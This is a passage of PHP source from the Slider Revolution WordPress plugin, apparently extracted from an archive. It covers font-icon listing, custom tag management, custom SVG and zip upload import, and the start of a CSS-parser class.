apply_filters('revslider_get_custom_svgs', $svgcustom); } public function get_font_icons(){ $css = RevSliderGlobals::instance()->get('RevSliderCssParser'); $font_icons = array(); //check all fonts folders $favorite = RevSliderGlobals::instance()->get('RevSliderFavorite'); foreach($this->font_icon_paths as $file){ //let the fonts be read by the CSS class $css_content = file_get_contents($file); $css_arr = $css->css_to_array($css_content); if(!empty($css_arr)){ foreach($css_arr as $handle => $value){ if(substr($handle, 0, 1) != '.') continue; $handle = str_replace(PHP_EOL, '', $handle); //remove newlines $handles = array(); $raw = explode(',', $handle); //separates if more then one exists if(!empty($raw)){ if(!is_array($raw)) $raw = (array)$raw; foreach($raw as $raw_font){ $fonts = explode(':', $raw_font); if(!empty($fonts)){ if(!is_array($fonts)) $fonts = (array)$fonts; $add = false; foreach($fonts as $font){ if($font == 'before'){ $add = true; break; } } if($add === true){ $handles[] = $this->get_val($fonts, 0); } } break; //break to only get the first class, to have not multiple same icons listed } } foreach($handles as $handle){ $tags = array(); if(strpos($handle, '.fa-icon') !== false || strpos($handle, '.fa.fa-icon') !== false || strpos($handle, '.fa') !== false){ $tags[] = 'FontAwesome'; } if(strpos($handle, '.pe-7s-') !== false){ $tags[] = 'StrokeIcons7'; } $title = str_replace(array('.fa-icon', '.fa', '.pe-7s-', '.'), '', $handle); $title = str_replace('-', ' ', $title); $title = ucwords($title); $font_icons[] = array( 'handle' => $handle, 'title' => $title, 'group' => 'icon', 'tags' => $tags, 'type' => 'icon', 'favorite' => $favorite->is_favorite('fonticons', $handle), 'src' => $handle ); } } } } $material_icons = $this->get_material_icons(); if(!empty($material_icons)){ foreach($material_icons as $icon){ $font_icons[] = array( 'handle' => $icon, 'title' => ucwords(str_replace('_', ' ', $icon)), 'group' => 'icon', 'tags' => array('MaterialIcons'), 'type' => 'icon', 'favorite' => $favorite->is_favorite('fonticons', $icon), 'src' => $icon ); } } return apply_filters('revslider_get_font_icons', $font_icons); } public function get_material_icons(){ return array( '360', '3d_rotation', '4k', 'ac_unit', 'access_alarm', 'access_alarms', 'access_time', 'accessibility', 'accessibility_new', 'accessible', 'accessible_forward', 'account_balance', 'account_balance_wallet', 'account_box', 'account_circle', 'adb', 'add', 'add_a_photo', 'add_alarm', 'add_alert', 'add_box', 'add_circle', 'add_circle_outline', 'add_comment', 'add_location', 'add_photo_alternate', 'add_shopping_cart', 'add_to_home_screen', 'add_to_photos', 'add_to_queue', 'adjust', 'airline_seat_flat', 'airline_seat_flat_angled', 'airline_seat_individual_suite', 'airline_seat_legroom_extra', 'airline_seat_legroom_normal', 'airline_seat_legroom_reduced', 'airline_seat_recline_extra', 'airline_seat_recline_normal', 'airplanemode_active', 'airplanemode_inactive', 'airplay', 'airport_shuttle', 'alarm', 'alarm_add', 'alarm_off', 'alarm_on', 'album', 'all_inclusive', 'all_out', 'alternate_email', 'android', 'announcement', 'apps', 'archive', 'arrow_back', 'arrow_back_ios', 'arrow_downward', 'arrow_drop_down', 'arrow_drop_down_circle', 'arrow_drop_up', 'arrow_forward', 'arrow_forward_ios', 'arrow_left', 'arrow_right', 'arrow_right_alt', 'arrow_upward', 'art_track', 'aspect_ratio', 'assessment', 'assignment', 'assignment_ind', 'assignment_late', 'assignment_return', 'assignment_returned', 'assignment_turned_in', 'assistant', 'assistant_photo', 'atm', 'attach_file', 'attach_money', 'attachment', 'audiotrack', 'autorenew', 'av_timer', 'backspace', 'backup', 'ballot', 'bar_chart', 'battery_alert', 'battery_charging_full', 'battery_full', 'battery_std', 'battery_unknown', 'beach_access', 'beenhere', 'block', 'bluetooth', 'bluetooth_audio', 'bluetooth_connected', 'bluetooth_disabled', 'bluetooth_searching', 'blur_circular', 'blur_linear', 'blur_off', 'blur_on', 'book', 'bookmark', 'bookmark_border', 'bookmarks', 'border_all', 'border_bottom', 'border_clear', 'border_color', 'border_horizontal', 'border_inner', 'border_left', 'border_outer', 'border_right', 'border_style', 'border_top', 'border_vertical', 'branding_watermark', 'brightness_1', 'brightness_2', 'brightness_3', 'brightness_4', 'brightness_5', 'brightness_6', 'brightness_7', 'brightness_auto', 'brightness_high', 'brightness_low', 'brightness_medium', 'broken_image', 'brush', 'bubble_chart', 'bug_report', 'build', 'burst_mode', 'business', 'business_center', 'cached', 'cake', 'calendar_today', 'calendar_view_day', 'call', 'call_end', 'call_made', 'call_merge', 'call_missed', 'call_missed_outgoing', 'call_received', 'call_split', 'call_to_action', 'camera', 'camera_alt', 'camera_enhance', 'camera_front', 'camera_rear', 'camera_roll', 'cancel', 'cancel_presentation', 'card_giftcard', 'card_membership', 'card_travel', 'casino', 'cast', 'cast_connected', 'cast_for_education', 'category', 'cell_wifi', 'center_focus_strong', 'center_focus_weak', 'change_history', 'chat', 'chat_bubble', 'chat_bubble_outline', 'check', 'check_box', 'check_box_outline_blank', 'check_circle', 'check_circle_outline', 'chevron_left', 'chevron_right', 'child_care', 'child_friendly', 'chrome_reader_mode', 'class', 'clear', 'clear_all', 'close', 'closed_caption', 'cloud', 'cloud_circle', 'cloud_done', 'cloud_download', 'cloud_off', 'cloud_queue', 'cloud_upload', 'code', 'collections', 'collections_bookmark', 'color_lens', 'colorize', 'comment', 'commute', 'compare', 'compare_arrows', 'compass_calibration', 'computer', 'confirmation_number', 'contact_mail', 'contact_phone', 'contact_support', 'contacts', 'control_camera', 'control_point', 'control_point_duplicate', 'copyright', 'create', 'create_new_folder', 'credit_card', 'crop', 'crop_16_9', 'crop_3_2', 'crop_5_4', 'crop_7_5', 'crop_din', 'crop_free', 'crop_landscape', 'crop_original', 'crop_portrait', 'crop_rotate', 'crop_square', 'dashboard', 'data_usage', 'date_range', 'dehaze', 'delete', 'delete_forever', 'delete_outline', 'delete_sweep', 'departure_board', 'description', 'desktop_mac', 'desktop_windows', 'details', 'developer_board', 'developer_mode', 'device_hub', 'device_unknown', 'devices', 'devices_other', 'dialer_sip', 'dialpad', 'directions', 'directions_bike', 'directions_boat', 'directions_bus', 'directions_car', 'directions_railway', 'directions_run', 'directions_subway', 'directions_transit', 'directions_walk', 'disc_full', 'dns', 'dock', 'domain', 'domain_disabled', 'done', 'done_all', 'done_outline', 'donut_large', 'donut_small', 'drafts', 'drag_handle', 'drag_indicator', 'drive_eta', 'dvr', 'edit', 'edit_attributes', 'edit_location', 'eject', 'email', 'enhanced_encryption', 'equalizer', 'error', 'error_outline', 'euro_symbol', 'ev_station', 'event', 'event_available', 'event_busy', 'event_note', 'event_seat', 'exit_to_app', 'expand_less', 'expand_more', 'explicit', 'explore', 'explore_off', 'exposure', 'exposure_neg_1', 'exposure_neg_2', 'exposure_plus_1', 'exposure_plus_2', 'exposure_zero', 'extension', 'face', 'fast_forward', 'fast_rewind', 'fastfood', 'favorite', 'favorite_border', 'featured_play_list', 'featured_video', 'feedback', 'fiber_dvr', 'fiber_manual_record', 'fiber_new', 'fiber_pin', 'fiber_smart_record', 'file_copy', 'filter', 'filter_1', 'filter_2', 'filter_3', 'filter_4', 'filter_5', 'filter_6', 'filter_7', 'filter_8', 'filter_9', 'filter_9_plus', 'filter_b_and_w', 'filter_center_focus', 'filter_drama', 'filter_frames', 'filter_hdr', 'filter_list', 'filter_none', 'filter_tilt_shift', 'filter_vintage', 'find_in_page', 'find_replace', 'fingerprint', 'first_page', 'fitness_center', 'flag', 'flare', 'flash_auto', 'flash_off', 'flash_on', 'flight', 'flight_land', 'flight_takeoff', 'flip', 'flip_to_back', 'flip_to_front', 'folder', 'folder_open', 'folder_shared', 'folder_special', 'font_download', 'format_align_center', 'format_align_justify', 'format_align_left', 'format_align_right', 'format_bold', 'format_clear', 'format_color_fill', 'format_color_reset', 'format_color_text', 'format_indent_decrease', 'format_indent_increase', 'format_italic', 'format_line_spacing', 'format_list_bulleted', 'format_list_numbered', 'format_list_numbered_rtl', 'format_paint', 'format_quote', 'format_shapes', 'format_size', 'format_strikethrough', 'format_textdirection_l_to_r', 'format_textdirection_r_to_l', 'format_underlined', 'forum', 'forward', 'forward_10', 'forward_30', 'forward_5', 'free_breakfast', 'fullscreen', 'fullscreen_exit', 'functions', 'g_translate', 'gamepad', 'games', 'gavel', 'gesture', 'get_app', 'gif', 'golf_course', 'gps_fixed', 'gps_not_fixed', 'gps_off', 'grade', 'gradient', 'grain', 'graphic_eq', 'grid_off', 'grid_on', 'group', 'group_add', 'group_work', 'hd', 'hdr_off', 'hdr_on', 'hdr_strong', 'hdr_weak', 'headset', 'headset_mic', 'healing', 'hearing', 'help', 'help_outline', 'high_quality', 'highlight', 'highlight_off', 'history', 'home', 'horizontal_split', 'hot_tub', 'hotel', 'hourglass_empty', 'hourglass_full', 'how_to_reg', 'how_to_vote', 'http', 'https', 'image', 'image_aspect_ratio', 'image_search', 'import_contacts', 'import_export', 'important_devices', 'inbox', 'indeterminate_check_box', 'info', 'input', 'insert_chart', 'insert_chart_outlined', 'insert_comment', 'insert_drive_file', 'insert_emoticon', 'insert_invitation', 'insert_link', 'insert_photo', 'invert_colors', 'invert_colors_off', 'iso', 'keyboard', 'keyboard_arrow_down', 'keyboard_arrow_left', 'keyboard_arrow_right', 'keyboard_arrow_up', 'keyboard_backspace', 'keyboard_capslock', 'keyboard_hide', 'keyboard_return', 'keyboard_tab', 'keyboard_voice', 'kitchen', 'label', 'label_important', 'label_off', 'landscape', 'language', 'laptop', 'laptop_chromebook', 'laptop_mac', 'laptop_windows', 'last_page', 'launch', 'layers', 'layers_clear', 'leak_add', 'leak_remove', 'lens', 'library_add', 'library_books', 'library_music', 'line_style', 'line_weight', 'linear_scale', 'link', 'link_off', 'linked_camera', 'list', 'list_alt', 'live_help', 'live_tv', 'local_activity', 'local_airport', 'local_atm', 'local_bar', 'local_cafe', 'local_car_wash', 'local_convenience_store', 'local_dining', 'local_drink', 'local_florist', 'local_gas_station', 'local_grocery_store', 'local_hospital', 'local_hotel', 'local_laundry_service', 'local_library', 'local_mall', 'local_movies', 'local_offer', 'local_parking', 'local_pharmacy', 'local_phone', 'local_pizza', 'local_play', 'local_post_office', 'local_printshop', 'local_see', 'local_shipping', 'local_taxi', 'location_city', 'location_disabled', 'location_off', 'location_on', 'location_searching', 'lock', 'lock_open', 'looks', 'looks_3', 'looks_4', 'looks_5', 'looks_6', 'looks_one', 'looks_two', 'loop', 'loupe', 'low_priority', 'loyalty', 'mail', 'mail_outline', 'map', 'markunread', 'markunread_mailbox', 'maximize', 'meeting_room', 'memory', 'menu', 'merge_type', 'message', 'mic', 'mic_none', 'mic_off', 'minimize', 'missed_video_call', 'mms', 'mobile_friendly', 'mobile_off', 'mobile_screen_share', 'mode_comment', 'monetization_on', 'money', 'money_off', 'monochrome_photos', 'mood', 'mood_bad', 'more', 'more_horiz', 'more_vert', 'motorcycle', 'mouse', 'move_to_inbox', 'movie', 'movie_creation', 'movie_filter', 'multiline_chart', 'music_note', 'music_off', 'music_video', 'my_location', 'nature', 'nature_people', 'navigate_before', 'navigate_next', 'navigation', 'near_me', 'network_cell', 'network_check', 'network_locked', 'network_wifi', 'new_releases', 'next_week', 'nfc', 'no_encryption', 'no_meeting_room', 'no_sim', 'not_interested', 'not_listed_location', 'note', 'note_add', 'notes', 'notification_important', 'notifications', 'notifications_active', 'notifications_none', 'notifications_off', 'notifications_paused', 'offline_bolt', 'offline_pin', 'ondemand_video', 'opacity', 'open_in_browser', 'open_in_new', 'open_with', 'outlined_flag', 'pages', 'pageview', 'palette', 'pan_tool', 'panorama', 'panorama_fish_eye', 'panorama_horizontal', 'panorama_vertical', 'panorama_wide_angle', 'party_mode', 'pause', 'pause_circle_filled', 'pause_circle_outline', 'pause_presentation', 'payment', 'people', 'people_outline', 'perm_camera_mic', 'perm_contact_calendar', 'perm_data_setting', 'perm_device_information', 'perm_identity', 'perm_media', 'perm_phone_msg', 'perm_scan_wifi', 'person', 'person_add', 'person_add_disabled', 'person_outline', 'person_pin', 'person_pin_circle', 'personal_video', 'pets', 'phone', 'phone_android', 'phone_bluetooth_speaker', 'phone_callback', 'phone_forwarded', 'phone_in_talk', 'phone_iphone', 'phone_locked', 'phone_missed', 'phone_paused', 'phonelink', 'phonelink_erase', 'phonelink_lock', 'phonelink_off', 'phonelink_ring', 'phonelink_setup', 'photo', 'photo_album', 'photo_camera', 'photo_filter', 'photo_library', 'photo_size_select_actual', 'photo_size_select_large', 'photo_size_select_small', 'picture_as_pdf', 'picture_in_picture', 'picture_in_picture_alt', 'pie_chart', 'pin_drop', 'place', 'play_arrow', 'play_circle_filled', 'play_circle_filled_white', 'play_circle_outline', 'play_for_work', 'playlist_add', 'playlist_add_check', 'playlist_play', 'plus_one', 'poll', 'polymer', 'pool', 'portable_wifi_off', 'portrait', 'power', 'power_input', 'power_off', 'power_settings_new', 'pregnant_woman', 'present_to_all', 'print', 'print_disabled', 'priority_high', 'public', 'publish', 'query_builder', 'question_answer', 'queue', 'queue_music', 'queue_play_next', 'radio', 'radio_button_checked', 'radio_button_unchecked', 'rate_review', 'receipt', 'recent_actors', 'record_voice_over', 'redeem', 'redo', 'refresh', 'remove', 'remove_circle', 'remove_circle_outline', 'remove_from_queue', 'remove_red_eye', 'remove_shopping_cart', 'reorder', 'repeat', 'repeat_one', 'replay', 'replay_10', 'replay_30', 'replay_5', 'reply', 'reply_all', 'report', 'report_off', 'report_problem', 'restaurant', 'restaurant_menu', 'restore', 'restore_from_trash', 'restore_page', 'ring_volume', 'room', 'room_service', 'rotate_90_degrees_ccw', 'rotate_left', 'rotate_right', 'rounded_corner', 'router', 'rowing', 'rss_feed', 'rv_hookup', 'satellite', 'save', 'save_alt', 'scanner', 'scatter_plot', 'schedule', 'school', 'score', 'screen_lock_landscape', 'screen_lock_portrait', 'screen_lock_rotation', 'screen_rotation', 'screen_share', 'sd_card', 'sd_storage', 'search', 'security', 'select_all', 'send', 'sentiment_dissatisfied', 'sentiment_satisfied', 'sentiment_satisfied_alt', 'sentiment_very_dissatisfied', 'sentiment_very_satisfied', 'settings', 'settings_applications', 'settings_backup_restore', 'settings_bluetooth', 'settings_brightness', 'settings_cell', 'settings_ethernet', 'settings_input_antenna', 'settings_input_component', 'settings_input_composite', 'settings_input_hdmi', 'settings_input_svideo', 'settings_overscan', 'settings_phone', 'settings_power', 'settings_remote', 'settings_system_daydream', 'settings_voice', 'share', 'shop', 'shop_two', 'shopping_basket', 'shopping_cart', 'short_text', 'show_chart', 'shuffle', 'shutter_speed', 'signal_cellular_4_bar', 'signal_cellular_alt', 'signal_cellular_connected_no_internet_4_bar', 'signal_cellular_no_sim', 'signal_cellular_null', 'signal_cellular_off', 'signal_wifi_4_bar', 'signal_wifi_4_bar_lock', 'signal_wifi_off', 'sim_card', 'skip_next', 'skip_previous', 'slideshow', 'slow_motion_video', 'smartphone', 'smoke_free', 'smoking_rooms', 'sms', 'sms_failed', 'snooze', 'sort', 'sort_by_alpha', 'spa', 'space_bar', 'speaker', 'speaker_group', 'speaker_notes', 'speaker_notes_off', 'speaker_phone', 'spellcheck', 'star', 'star_border', 'star_half', 'star_rate', 'stars', 'stay_current_landscape', 'stay_current_portrait', 'stay_primary_landscape', 'stay_primary_portrait', 'stop', 'stop_screen_share', 'storage', 'store', 'store_mall_directory', 'straighten', 'streetview', 'strikethrough_s', 'style', 'subdirectory_arrow_left', 'subdirectory_arrow_right', 'subject', 'subscriptions', 'subtitles', 'subway', 'supervised_user_circle', 'supervisor_account', 'surround_sound', 'swap_calls', 'swap_horiz', 'swap_horizontal_circle', 'swap_vert', 'swap_vertical_circle', 'switch_camera', 'switch_video', 'sync', 'sync_disabled', 'sync_problem', 'system_update', 'tab', 'tab_unselected', 'table_chart', 'tablet', 'tablet_android', 'tablet_mac', 'tag_faces', 'tap_and_play', 'terrain', 'text_fields', 'text_format', 'text_rotate_up', 'text_rotate_vertical', 'text_rotation_down', 'text_rotation_none', 'textsms', 'texture', 'theaters', 'thumb_down', 'thumb_down_alt', 'thumb_up', 'thumb_up_alt', 'thumbs_up_down', 'time_to_leave', 'timelapse', 'timeline', 'timer', 'timer_10', 'timer_3', 'timer_off', 'title', 'toc', 'today', 'toll', 'tonality', 'touch_app', 'toys', 'track_changes', 'traffic', 'train', 'tram', 'transfer_within_a_station', 'transform', 'transit_enterexit', 'translate', 'trending_down', 'trending_flat', 'trending_up', 'trip_origin', 'tune', 'turned_in', 'turned_in_not', 'tv', 'tv_off', 'unarchive', 'undo', 'unfold_less', 'unfold_more', 'unsubscribe', 'update', 'usb', 'verified_user', 'vertical_align_bottom', 'vertical_align_center', 'vertical_align_top', 'vertical_split', 'vibration', 'video_call', 'video_label', 'video_library', 'videocam', 'videocam_off', 'videogame_asset', 'view_agenda', 'view_array', 'view_carousel', 'view_column', 'view_comfy', 'view_compact', 'view_day', 'view_headline', 'view_list', 'view_module', 'view_quilt', 'view_stream', 'view_week', 'vignette', 'visibility', 'visibility_off', 'voice_chat', 'voice_over_off', 'voicemail', 'volume_down', 'volume_mute', 'volume_off', 'volume_up', 'vpn_key', 'vpn_lock', 'wallpaper', 'warning', 'watch', 'watch_later', 'waves', 'wb_auto', 'wb_cloudy', 'wb_incandescent', 'wb_iridescent', 'wb_sunny', 'wc', 'web', 'web_asset', 'weekend', 'whatshot', 'where_to_vote', 'widgets', 'wifi', 'wifi_lock', 'wifi_off', 'wifi_tethering', 'work', 'work_off', 'work_outline', 'wrap_text', 'youtube_searched_for', 'zoom_in', 'zoom_out', 'zoom_out_map' ); } public function get_font_tags(){ $tags = array( 'FontAwesome' => 'Font Awesome', 'StrokeIcons7' => 'Stroke Icons 7', 'MaterialIcons' => 'Material Icons' ); return apply_filters('revslider_get_font_tags', $tags); } /** * get the custom tags **/ public function get_custom_tags(){ return get_option('rs-custom-library-tags', array()); } /** * create a tag for custom categories * category type is needed **/ public function create_custom_tag($name, $type){ $name = $this->sanitize_tag_name($name); if($name === false) return __('Tagname has to be at least 3 characters long. Only a-z, A-Z and 0-9 are valid'); $tags = get_option('rs-custom-library-tags', array()); $lid = 0; if(!empty($tags)){ foreach($tags as $t => $_v){ if($type !== $t) continue; if(empty($_v)) continue; foreach($_v as $id => $_name){ if($id > $lid) $lid = $id; } $c = 0; $orig_name = $name; do{ $found = false; if($c > 0) $name = $orig_name . ' '.$c; foreach($_v as $id => $_name){ if($_name === $name) { $found = true; break; } } $c++; }while($found); } } $lid++; if(!isset($tags[$type])) $tags[$type] = array(); $tags[$type][$lid] = $name; update_option('rs-custom-library-tags', $tags); return array('id' => $lid, 'name' => $name); } /** * edit a tag for custom categories * category type is needed **/ public function edit_custom_tag($id, $name, $type){ $name = $this->sanitize_tag_name($name); if($name === false) return __('Tagname has to be at least 3 characters long. Only a-z, A-Z and 0-9 are valid'); $tags = get_option('rs-custom-library-tags', array()); if(!empty($tags)){ foreach($tags as $t => $_v){ if($type !== $t) continue; if(empty($_v)) continue; foreach($_v as $_id => $_name){ if($id !== $_id && ' '.$id !== ' '.$_id) continue; $tags[$t][$_id] = $name; update_option('rs-custom-library-tags', $tags); return true; } } } return __('Tag not found'); } /** * delete a tag for custom categories * category type is needed **/ public function delete_custom_tag($id, $type){ $tags = get_option('rs-custom-library-tags', array()); if(!empty($tags)){ foreach($tags as $t => $_v){ if($type !== $t) continue; if(empty($_v)) continue; foreach($_v as $_id => $_name){ if($id !== $_id && ' '.$id!==' '.$_id) continue; unset($tags[$t][$_id]); update_option('rs-custom-library-tags', $tags); return true; } } } return __('Tag not found'); } /** * upload custom library item **/ public function upload_custom_item($data){ $return = false; $customs = json_decode(stripslashes($this->get_val($_POST, 'customs', '')), true); $lib_type = $this->get_val($customs, 'type', ''); $tag = $this->get_val($customs, 'tag', false); if($lib_type === 'svgcustom'){ if($tag !== false){ $new = $this->create_custom_tag($tag, $lib_type); if(!is_array($new)){ $customs['tag'] = 'All'; $customs['id'] = 0; }else{ $customs['tag'] = $this->get_val($new, 'name', 'All'); $customs['id'] = $this->get_val($new, 'id', 0); } if(!is_array($customs)) $customs = array('type' => 'svgcustom'); } $return = $this->import_custom_svg_file($data, $customs); } $return = apply_filters('revslider_upload_custom_library_item', $return, $data); return ($return !== false) ? $return : false; } /** * edit a custom library item **/ public function edit_custom_item($id, $type, $name, $tags){ $return = false; $library = get_option('rs-custom-library', array()); if(isset($library[$type]) && isset($library[$type]['items']) && !empty($library[$type]['items'])){ foreach($library[$type]['items'] as $lk => $lv){ if(strval($this->get_val($lv, 'id', 0)) === strval($id)){ $path = $this->get_val($lv, 'img'); if(!empty($name)){ $library[$type]['items'][$lk]['title'] = $this->sanitize_tag_name($name); } if(!empty($tags)){ if(is_array($tags)){ $library[$type]['items'][$lk]['tags'] = array(); foreach($tags as $t){ $library[$type]['items'][$lk]['tags'][] = strval($t); } }else{ $library[$type]['items'][$lk]['tags'] = array(strval($tags)); } } update_option('rs-custom-library', $library); $return = true; } } } $return = apply_filters('revslider_edit_custom_library_item', $return, $id, $type, $name, $tags); return $return === true; } /** * delete a custom library item **/ public function delete_custom_item($id, $type){ $return = false; $library = get_option('rs-custom-library', array()); if(isset($library[$type]) && isset($library[$type]['items']) && !empty($library[$type]['items'])){ foreach($library[$type]['items'] as $lk => $lv){ if(strval($this->get_val($lv, 'id', 0)) === strval($id)){ $path = $this->get_val($lv, 'img'); if(!empty($path)){ } unset($library[$type]['items'][$lk]); update_option('rs-custom-library', $library); $return = true; } } } $return = apply_filters('revslider_delete_custom_library_item', $return, $id, $type); return $return === true; } /** * import (unzip) an uploaded custom svg files */ private function import_custom_svg_file($data, $customs){ require_once(ABSPATH . 'wp-admin/includes/file.php'); $import_file = $this->get_val($_FILES, 'import_file'); $error = $this->get_val($import_file, 'error'); switch($error){ case UPLOAD_ERR_NO_FILE: $this->throw_error(__('No file sent.', 'revslider')); break; case UPLOAD_ERR_INI_SIZE: case UPLOAD_ERR_FORM_SIZE: $this->throw_error(__('Exceeded filesize limit.', 'revslider')); break; default: } $path = $this->get_val($import_file, 'tmp_name'); $name = $this->get_val($import_file, 'name'); $type = $this->get_val($import_file, 'type'); $library = get_option('rs-custom-library', array()); $tag = $this->get_val($customs, 'tag', false); $tagID = $this->get_val($customs, 'id', false); $lib_type = $this->get_val($customs, 'type'); $lib_type = $this->sanitize_tag_name($lib_type); if(!in_array($lib_type, $this->allowed_categories)) $this->throw_error(__('Category does not exist', 'revslider')); if(isset($path['error'])) $this->throw_error($path['error']); if(file_exists($path) == false) $this->throw_error(__('Import file not found', 'revslider')); global $wp_filesystem; WP_Filesystem(); $import = array(); $finfo = finfo_open(FILEINFO_MIME_TYPE); $info = finfo_file($finfo, $path); $zip = false; switch($info){ case 'image/svg': case 'image/svg+xml': $import[] = $path; break; case 'application/zip': $zip = true; $this->download_path = RS_PLUGIN_PATH.'rstempsvg/'; $this->svg_remove_path = $this->download_path; @$wp_filesystem->delete($this->download_path, true); $file = unzip_file($path, $this->download_path); if(is_wp_error($file)){ @define('FS_METHOD', 'direct'); //lets try direct. WP_Filesystem(); //WP_Filesystem() needs to be called again since now we use direct! $file = unzip_file($path, $this->download_path); if(is_wp_error($file)){ $file = unzip_file($path, $this->download_path); if(is_wp_error($file)){ $file_basename = basename($path); $this->download_path = str_replace($file_basename, '', $path); $file = unzip_file($path, $this->download_path); } } } if($file){ //check all files in download_path and add them to an array list of files $files = list_files($this->download_path); if(!empty($files)){ foreach($files as $file){ if(is_dir($file)) continue; $import[] = $file; } } }else{ $wp_filesystem->delete($this->svg_remove_path, true); $msg = $file->get_error_message(); $this->throw_error($msg); } break; } if(!empty($import)){ foreach($import as $k => $v){ $check = $wp_filesystem->exists($v) ? $wp_filesystem->get_contents($v) : ''; if(empty($check)) unset($import[$k]); } } if(empty($import)){ $wp_filesystem->delete($this->svg_remove_path, true); $this->throw_error(__('No valid file sent.', 'revslider')); } $tags = get_option('rs-custom-library-tags', array()); $found = false; if(!empty($tags)){ foreach($tags as $t => $_v){ if($t !== $lib_type) continue; foreach($_v as $k => $v){ if($tagID !== false){ if(strval($k) === strval($tagID)){ $found = true; $tag = $v; break; } }else{ if($this->get_val($v, 'name', -1) === $tag){ $found = true; $tag = $v; $tagID = $k; break; } } } } } if($found !== true){ $tag = 'All'; $tagID = 0; } //push all imports to the correct folder //create entries in the database //remove files from the temp path //move to the upload folder $_id = 0; if(!isset($library[$lib_type])) $library[$lib_type] = array(); if(!isset($library[$lib_type]['items'])) $library[$lib_type]['items'] = array(); foreach($library[$lib_type]['items'] as $lk => $lv){ if($_id < $this->get_val($lv, 'id', 0)) $_id = $this->get_val($lv, 'id', 0); } $found = false; foreach($import as $k => $v){ $handle = ($zip === true) ? basename($v) : basename($name); //if zip is false, file has still a temporary name $new = $this->upload_dir['basedir'] . $this->customsvgpath . $lib_type . '/' . $handle; $url = $this->upload_dir['baseurl'] . $this->customsvgpath . $lib_type . '/' . $handle; $i = 1; $change = false; if(strpos($handle, '.') !== false){ while(file_exists($new)){ $_h = explode('.', $handle); $_h = implode('_'.$i.'.', $_h); $new = $this->upload_dir['basedir'] . $this->customsvgpath . $lib_type . '/' . $_h; $url = $this->upload_dir['baseurl'] . $this->customsvgpath . $lib_type . '/' . $_h; $change = true; $i++; } } $handle = ($change === true) ? $_h : $handle; $done = (file_exists(dirname($new))) ? true : @mkdir(dirname($new), 0777, true); if($done === false) $this->throw_error(dirname($new) . ' '.__('could not be created programmatically', 'revslider')); $done = copy($v, $new); if($done === false) $this->throw_error($handle . ' '.__('could not be created programmatically', 'revslider')); //push to library if(!empty($library[$lib_type]['items'])){ $found = false; foreach($library[$lib_type]['items'] as $lk => $lv){ if($lv['handle'] !== $handle) continue; $found = $lk; break; } } if($found === false) $_id += 1; $_name = str_replace(array('.svg', '-', '_'), array('', ' ', ' '), $handle); $_data = array( 'id' => $_id, 'handle' => $handle, 'title' => $this->sanitize_tag_name($_name), 'img' => $url ); if($tagID !== 0 && $tagID !== false){ $_data['tags'] = array(strval($tagID)); } if($found !== false){ $library[$lib_type]['items'][$found]['tags'] = $this->get_val($_data, 'tags', array()); $library[$lib_type]['items'][$found]['img'] = $_data['img']; }else{ $library[$lib_type]['items'][] = $_data; } } update_option('rs-custom-library', $library); $wp_filesystem->delete($this->svg_remove_path, true); return $library[$lib_type]; } /** * sanitize a tag name, remove illegal characters **/ public function sanitize_tag_name($name){ $name = preg_replace('/[^a-zA-Z0-9 ]/', '', trim($name)); return (strlen($name) < 3) ? false : $name; } }includes/cssparser.class.php000060400000061625151724235750012215 0ustar00 * @link https://www.themepunch.com/ * @copyright 2022 ThemePunch */ if(!defined('ABSPATH')) exit(); class RevSliderCssParser extends RevSliderFunctions { public $css; /** * init the parser, set css content * @before: RevSliderCssParser::initContent() */ public function init_css($css){ $this->css = $css; } /** * get array of slide classes, between two sections. * @before: RevSliderCssParser::getArrClasses() */ public function get_classes($start_text = '', $end_text = '', $explodeonspace = false){ $content = $this->css; $classes = array(); //trim from top if(!empty($start_text)){ $pos_start = strpos($content, $start_text); $content = ($pos_start !== false) ? substr($content, $pos_start, strlen($content) - $pos_start) : $content; } //trim from bottom if(!empty($end_text)){ $pos_end = strpos($content, $end_text); $content = ($pos_end !== false) ? substr($content, 0, $pos_end) : $content; } //get styles $lines = explode("\n", $content); foreach($lines as $key => $line){ $line = trim($line); if(strpos($line, '{') === false || strpos($line, '.caption a') || strpos($line, '.tp-caption a') !== false) continue; //get style out of the line $class = trim(str_replace('{', '', $line)); //skip captions like this: .tp-caption.imageclass img if(strpos($class, ' ') !== false){ if(!$explodeonspace){ continue; }else{ $class = explode(',', $class); $class = $class[0]; } } //skip captions like this: .tp-caption.imageclass:hover, :before, :after if(strpos($class, ':') !== false) continue; $class = str_replace(array('.caption.', '.tp-caption.'), '.', $class); $class = trim(str_replace('.', '', $class)); $words = explode(' ', $class); $class = $words[count($words)-1]; $class = trim($class); $classes[] = $class; } sort($classes); return $classes; } /** * parse css stylesheet to an array * @before: RevSliderCssParser::parseCssToArray(); **/ public function css_to_array($css){ while(strpos($css, '/*') !== false){ if(strpos($css, '*/') === false) return false; $start = strpos($css, '/*'); $end = strpos($css, '*/') + 2; $css = str_replace(substr($css, $start, $end - $start), '', $css); } //preg_match_all('/(?ims)([a-z0-9\s\.\:#_\-@]+)\{([^\}]*)\}/', $css, $arr); preg_match_all('/(?ims)([a-z0-9\,\s\.\:#_\-@]+)\{([^\}]*)\}/', $css, $arr); $result = array(); foreach($arr[0] as $i => $x){ $selector = trim($arr[1][$i]); if(strpos($selector, '{') !== false || strpos($selector, '}') !== false) return false; $rules = explode(';', trim($arr[2][$i])); $result[$selector] = array(); foreach($rules as $strRule){ if(!empty($strRule)){ $rule = explode(':', $strRule); //does not work if in css is another { or } //if(strpos($rule[0], '{') !== false || strpos($rule[0], '}') !== false || strpos($rule[1], '{') !== false || strpos($rule[1], '}') !== false) return false; //put back everything but not $rule[0]; $key = trim($rule[0]); unset($rule[0]); $values = implode(':', $rule); $result[$selector][trim($key)] = trim(str_replace("'", '"', $values)); } } } return $result; } /** * parse database entry to css * @before: RevSliderCssParser::parseDbArrayToCss(); **/ public function parse_db_to_css($css_array, $nl = "\n\r"){ $css = ''; $deformations = $this->get_deformation_css_tags(); $transparency = array( 'color' => 'color-transparency', 'background-color' => 'background-transparency', 'border-color' => 'border-transparency' ); $check_parameters = array( 'border-width' => 'px', 'border-radius' => 'px', 'padding' => 'px', 'font-size' => 'px', 'line-height' => 'px' ); foreach($css_array as $id => $attr){ $stripped = (strpos($attr['handle'], '.tp-caption') !== false) ? trim(str_replace('.tp-caption', '', $attr['handle'])) : ''; $attr['advanced'] = json_decode($attr['advanced'], true); $styles = json_decode(str_replace("'", '"', $attr['params']), true); $styles_adv = $attr['advanced']['idle']; $css .= $attr['handle']; $css .= (!empty($stripped)) ? ', '.$stripped : ''; $css .= ' {'.$nl; if(is_array($styles) || is_array($styles_adv)){ 